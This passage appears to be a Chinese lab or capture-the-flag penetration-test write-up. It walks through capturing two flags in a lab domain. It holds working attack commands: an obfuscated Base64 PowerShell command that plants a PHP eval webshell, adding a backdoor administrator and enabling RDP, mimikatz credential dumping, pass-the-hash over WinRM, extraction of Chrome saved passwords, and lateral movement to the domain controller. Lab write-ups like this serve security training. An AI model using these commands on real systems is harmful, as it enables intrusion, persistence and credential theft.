成功getshell！由于直接获取的shell不稳定，写入一个单独的webshell。

PowerShell写入shell.php（Base64编码命令）：

powershell

powershell -EncodedCommand WwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACIAcwBoAGUAbABsAC4AcABoAHAAIgAsACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAUABEADkAdwBhAEgAQQBnAFEARwBWADIAWQBXAHcAbwBKAEYAOQBRAFQAMQBOAFUAVwB5AGQAaABKADEAMABwAEkARAA4ACsAIgApACkA

使用蚁剑连接 http://10.20.30.5:8008/shell.php，密码 a（记得配置代理）：

拿到第二个flag。

权限维持-添加用户RDP

通过蚁剑执行命令添加用户并开启RDP：

cmd

net user hack Admin123 /add
net localgroup administrators hack /add
reg add \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG\_DWORD /d 0 /f
netsh advfirewall firewall set rule group=\"remote desktop\" new enable=yes
net start termservice

通过代理连接RDP：

bash

proxychains4 xfreerdp3 /v:10.20.30.5 /u:hack /p:'Admin123' /cert:ignore

PART 03

flag3

mimikatz抓取hash/爆破明文

上传mimikatz抓取Hash：

bash

privilege::debugsekurlsa::logonpasswords

得到用户 CSLAB 的NTLM Hash：2de5cd0f15d1c070851d1044e1d95c90

尝试爆破得到明文密码：qwe!@#123

ashcat爆破结果截图]

PTH-WinRM

目标主机 10.20.30.5 开放5985端口（WinRM），使用evil-winrm进行Pass-the-Hash：

bash

proxychains4 evil-winrm -i10.20.30.5 -u administrator -H 2de5cd0f15d1c070851d1044e1d95c90

登录后确认权限：

Chrome凭据提取域管明文密码

目标主机上存在Chrome浏览器，使用Chrome-App-Bound-Encryption-Decryption工具提取保存的密码。

上传 chromelevator_x64.exe 并执行：

bash

*Evil-WinRM* PS C:\\Users\\Administrator\\Documents> C:\\Users\\hack\\Desktop\\chromelevator_x64.exe chrome

成功导出凭证到 C:\\Users\\Administrator\\Documents\\output\\Chrome：

查看 passwords.json：

bash

type C:\\Users\\Administrator\\Documents\\output\\Chrome\\Default\\passwords.json

成功读取域管明文密码：cs1ab@ijws

PTH横向移动至域控

使用得到的域管密码通过WinRM登录域控 10.20.30.66：

bash

proxychains4 evil-winrm -i10.20.30.66 -u administrator -p cs1ab@ijws

成功拿到第三个flag啦。

微信QQ交流群

欢迎大家加入[ OnePanda-Sec ] 群聊一起交流 ^ ^